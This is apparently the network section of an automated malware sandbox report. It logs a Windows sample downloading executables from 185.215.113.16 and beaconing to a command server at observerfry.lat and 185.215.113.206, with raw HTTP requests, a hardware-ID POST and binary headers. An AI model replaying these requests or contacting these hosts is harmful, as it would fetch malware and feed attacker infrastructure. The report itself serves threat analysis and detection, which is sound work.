Dec 23, 2024 07:52:56.526539087 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.527262926 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.527369976 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.527579069 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.528214931 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.528332949 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.528439999 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.529123068 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.529247999 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.529297113 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.530092001 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.530169010 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.530241966 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.531021118 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.531162024 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.531557083 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.531953096 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.532061100 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.532145023 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.532900095 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.533010006 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.533375025 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.533843040 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.533972979 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.534250975 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.534770012 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.534868956 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.534970999 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.535717964 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.535831928 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.535937071 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.536647081 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.536746979 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.536793947 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.537600994 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.537724018 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.537992001 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.538521051 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.538630009 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.538718939 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.539464951 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.539586067 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.539710045 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.540405035 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.540484905 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.540750980 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.554755926 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.554863930 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.554939032 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.555166960 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.555263996 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.555332899 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.556128025 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.556315899 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.556385040 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.557066917 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.557190895 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.557322979 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.558015108 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.558120966 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.558290005 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.558928967 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.559042931 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.559123039 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.559885979 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.559982061 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.560376883 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.560820103 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.560918093 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.561041117 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.561755896 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.561918020 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.561981916 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.562696934 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.562807083 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.563147068 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.563652992 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.563759089 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.563869953 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.564588070 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.564723015 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.564774990 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.565506935 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.565613031 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.565710068 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.566458941 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.566579103 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.566626072 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.567393064 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.567512035 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.567555904 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.568340063 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.568458080 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.568610907 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.569286108 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.569394112 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.569453001 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.570199966 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.570312023 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.570406914 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.571144104 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.571273088 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.571338892 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.572118998 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.572217941 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.572268009 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.573014021 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.573131084 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.573196888 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.573956013 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.574039936 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.574122906 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.574894905 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.575006008 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.575297117 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.575814962 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.575984001 CET	80	49758	185.215.113.16	192.168.2.10
Dec 23, 2024 07:52:56.576059103 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:52:56.727705002 CET	49758	80	192.168.2.10	185.215.113.16
Dec 23, 2024 07:53:01.223779917 CET	49790	80	192.168.2.10	185.215.113.206
Dec 23, 2024 07:53:01.343354940 CET	80	49790	185.215.113.206	192.168.2.10
Dec 23, 2024 07:53:01.343442917 CET	49790	80	192.168.2.10	185.215.113.206
Dec 23, 2024 07:53:01.343724012 CET	49790	80	192.168.2.10	185.215.113.206
Dec 23, 2024 07:53:01.463154078 CET	80	49790	185.215.113.206	192.168.2.10
Dec 23, 2024 07:53:02.681664944 CET	80	49790	185.215.113.206	192.168.2.10
Dec 23, 2024 07:53:02.685940981 CET	49790	80	192.168.2.10	185.215.113.206
Dec 23, 2024 07:53:02.689928055 CET	49790	80	192.168.2.10	185.215.113.206
Dec 23, 2024 07:53:02.810403109 CET	80	49790	185.215.113.206	192.168.2.10
Dec 23, 2024 07:53:03.131300926 CET	80	49790	185.215.113.206	192.168.2.10
Dec 23, 2024 07:53:03.132041931 CET	49790	80	192.168.2.10	185.215.113.206
Dec 23, 2024 07:53:06.316729069 CET	49790	80	192.168.2.10	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 07:52:25.177532911 CET	57973	53	192.168.2.10	1.1.1.1
Dec 23, 2024 07:52:25.317758083 CET	53	57973	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 07:52:25.177532911 CET	192.168.2.10	1.1.1.1	0xcb81	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 07:52:25.317758083 CET	1.1.1.1	192.168.2.10	0xcb81	No error (0)	observerfry.lat		172.67.199.72	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:52:25.317758083 CET	1.1.1.1	192.168.2.10	0xcb81	No error (0)	observerfry.lat		104.21.36.201	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

observerfry.lat

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49758	185.215.113.16	80	7940	C:\Users\user\Desktop\U8mbM8r793.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 07:52:45.437892914 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 07:52:46.769093037 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 06:52:45 GMT Content-Type: application/octet-stream Content-Length: 2845696 Last-Modified: Mon, 23 Dec 2024 06:14:51 GMT Connection: keep-alive ETag: "6768ffdb-2b6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 df 49 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +I,`Ui`D @ @ @.rsrcD``@.idata f@tnrxecbv**h@anayjrgy +F+@.taggant@+"J+@
Dec 23, 2024 07:52:46.769129038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:52:46.769140959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:52:46.769381046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:52:46.769453049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:52:46.769464970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:52:46.769475937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:52:46.769901991 CET	1236	IN	Data Raw: 2b 0e be 25 17 ec da 45 e7 ed b4 25 3f fc b4 25 21 0e b9 25 17 ec da 2b 3f ea b4 25 1d 0c df 25 17 f9 e4 28 17 4b b5 25 17 e9 b4 25 28 0e cc 25 17 f0 32 3a 17 e6 be 2f 22 fc c0 50 5e ed bc bf 24 ef 23 3e 17 e6 be 97 3a e6 b4 95 3f ff b4 25 21 12 Data Ascii: +%E%?%!%+?%%(K%%(%2:/"P^$#>:?%!.%!%%?%O%M#+ U%)K2BIM+=%(F%%(%2:/"PY$#>?%!.%!%%?%O%.%!%-.>
Dec 23, 2024 07:52:46.769915104 CET	992	IN	Data Raw: 1f ec b4 61 1d cc be 2b 17 d7 bc 13 20 ec b4 b3 21 d4 bd 2b 17 4b bb 13 20 ec b4 ef 21 d4 bd 2b 17 33 be 17 22 f0 b4 ab 21 9a be 2b 17 fc bf 2f 17 ec b4 1a 20 d4 bd 2b 17 47 bc 13 20 ec b4 11 1d d4 bd 2b 17 93 be 13 20 ec b4 6d 1b 1f bd 2b 17 4a Data Ascii: a+ !+K !+3"!+/ +G + m+J G"+`/+ %%&%O(j&5/!+&% v(%%G,(9%%G8(!9%%GG(m
Dec 23, 2024 07:52:46.769922018 CET	1236	IN	Data Raw: 17 e9 b4 a2 21 e6 b4 26 17 41 be 25 17 e8 b4 69 1c e6 b4 28 17 53 bf 25 37 e6 b4 25 17 e6 b4 26 17 72 b9 25 17 e8 b4 56 21 e6 b4 28 17 3f bf 25 37 e6 b4 25 17 e6 b4 26 17 72 b9 25 17 e8 b4 f7 1f e6 b4 28 17 a0 bf 25 37 e6 b4 25 17 e6 b4 26 17 72 Data Ascii: !&A%i(S%7%&r%V!(?%7%&r%(%7%&r%(%*]%a ,$%:!.%0%w&Q%(.& >/ V5 f5/ v5? :O
Dec 23, 2024 07:52:46.888806105 CET	1236	IN	Data Raw: 58 38 f6 72 5a 2e f6 73 5e 2b b5 78 5c 39 08 6f 66 34 f8 6d 58 34 fc 6a 17 39 fa 77 6d 2f f8 6a 76 34 04 85 5a 2e f6 73 5e 2b b5 73 5c 3a f7 6e 65 2a fa 73 58 28 01 6b 17 34 fa 79 59 2f 03 6a 5b 2f 08 67 59 32 fa 25 6a 2b 07 7c 60 29 fa 84 5c 38 Data Ascii: X8rZ.s^+x\9of4mX4j9wm/jv4Z.s^+s\:ne*sX(k4yY/j[/gY2%j+\|`)\8uiEkm+k9wm/jv+xf8o^4x\gl9%k5keEzg2hX:%j+\|`)`4ki8mX:%k5keErg+yf4y\ki<h\Egl9Z5z`4k4yY/ji+um+x\8oZ+i_'m\Ete,l9d'g^+
Dec 23, 2024 07:52:51.698014021 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 07:52:52.135056019 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 06:52:51 GMT Content-Type: application/octet-stream Content-Length: 2907648 Last-Modified: Mon, 23 Dec 2024 06:16:47 GMT Connection: keep-alive ETag: "6769004f-2c5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 a0 28 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@O(-@M$a$$ $h@.rsrc$x@.idata $z@wwqufnsk$\|@dutjqjqnO8,@.taggant0O"<,@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49790	185.215.113.206	80	7668	C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 07:53:01.343724012 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 07:53:02.681664944 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:53:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 07:53:02.689928055 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 37 31 41 42 33 34 46 38 43 31 34 34 32 39 33 39 34 34 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="hwid"871AB34F8C144293944220------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="build"stok------IJJJEBFHDBGIECBFCBKJ--
Dec 23, 2024 07:53:03.131300926 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:53:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49707	172.67.199.72	443	7940	C:\Users\user\Desktop\U8mbM8r793.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:26 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: observerfry.lat
2024-12-23 06:52:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 06:52:27 UTC	1121	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vtk5rce7gk0i48q7ioorgmqs2b; expires=Fri, 18 Apr 2025 00:39:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nfDrfXHoWyLGsXXerQ9rEuJAzRrdk5XHbwVbYK8t5Q9Y5RIGPnPIpq5kQzP3MX%2FDtSLqVWXqna44V2X2DZSWpObpZ81t6hRA99Xrz1t%2B4p4uCKSp2rL3hGrX5Z6escazbAk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666dcb9dbb8c8f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1788&min_rtt=1781&rtt_var=682&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1588683&cwnd=209&unsent_bytes=0&cid=80902088b6779b76&ts=761&x=0"
2024-12-23 06:52:27 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 06:52:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49708	172.67.199.72	443	7940	C:\Users\user\Desktop\U8mbM8r793.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:52:28 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: observerfry.lat
2024-12-23 06:52:28 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-23 06:52:29 UTC	1122	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:52:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b9jh3oj9v9frl91n3rgeqrlm74; expires=Fri, 18 Apr 2025 00:39:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cNRpEa1la9v4%2BOsFCTgcCD1Mp5JPVwJMZ5HQDznpYTHqdHgWDMrOeoc1fCtsTrcfSiNVTIlesRRpVd485Sbq2mPXMXZDOcLqHN%2FeX3xQhPzgESHGvSiITnGENLU1OkOrYig%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f666dd7fb43437b-EWR alt-svc: h3=":443"; ma=86400 server-timing: 